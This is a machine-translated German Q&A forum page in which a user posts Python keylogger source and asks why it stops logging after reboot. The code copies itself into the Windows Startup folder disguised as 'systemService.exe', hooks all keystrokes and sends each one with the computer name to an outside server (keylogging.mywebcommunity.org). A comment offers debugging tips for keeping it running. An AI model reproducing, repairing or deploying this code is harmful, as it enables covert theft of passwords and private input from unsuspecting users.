Python-Keylogger
973
Mayank Pal
Ich versuche, einen Python-Keylogger zu erstellen, der beim Start automatisch ausgeführt wird. Hier ist der Python-Code
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys userName = getpass.getuser() filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName if os.path.exists(filePath): if os.path.isfile(filePath+'systemService.exe')==False: try: shutil.copy2(sys.argv[0],filePath+'systemService.exe') except: pass def OnKeyBoardEvent(event): try: params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)}) conn = httplib.HTTPConnection("keylogging.mywebcommunity.org") conn.request("GET","/index.php?"+params) except: pass return True hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyBoardEvent hook_manager.HookKeyboard() pythoncom.PumpMessages()
Dieser Keylogger protokolliert alle ASCII-Daten auf dem im Code genannten Server mit php.Es funktioniert einwandfrei, wenn ich diese Pyw-Datei ausführte, aber wenn ich den PC neu starte, meldet er sich nicht in der Datei auf dem Server an. Ich habe doppelt geprüft, ob dieses Programm im Startverzeichnis vorhanden ist und nach dem Neustart im Hintergrund ausgeführt wird. Es werden jedoch immer noch keine Daten in der Server-Datei protokolliert.
Meldet es sich nach dem Neustart bei einer lokalen Datei in Ordnung?
adampski vor 8 Jahren
0
Versuchen Sie, eine .bat-Datei mit dem richtigen Befehl zu erstellen, um die Datei auszuführen und beim Start auszuführen. Möglicherweise werden einige Argumente nicht korrekt für die Datei ausgeführt, was zu Fehlern führt. Um dies zu testen, würde ich empfehlen, einen `try: #code außer (open) (" somefile "," w "). Write (" error ") zu setzen, um sicherzustellen, dass das Programm irgendwo eine Ausnahme ausführt, aber es ignoriert.
ytpillai vor 7 Jahren
0
0 Antworten auf die Frage
Verwandte Probleme
-
2
Erinnert sich Windows 7 Home Premium an Netzwerkfreigaben-Passwörter?
-
4
Wie sperre ich rechtsbündige Symbolleisten in Windows 7, ohne dass sie schrecklich aussehen
-
4
Windows 7 "Aero Snap" -Funktion für Ubuntu GNOME
-
3
Meine zweite Festplatte ist in Windows 7 nicht sichtbar
-
7
Wie ersetze ich Notepad in Windows 7?
-
2
Wie werden Windows 7-Taskleistensymbole in zwei Reihen angeordnet?
-
1
Probleme beim Standby unter Windows 7
-
6
Wie steuern Sie die Windows 7-Snap-Funktion mit zwei Monitoren?
-
10
Wie aktualisiere ich von Windows 7 RC auf Windows 7 RTM?
-
3
Welchen Spyware-Schutz gibt es für Windows 7?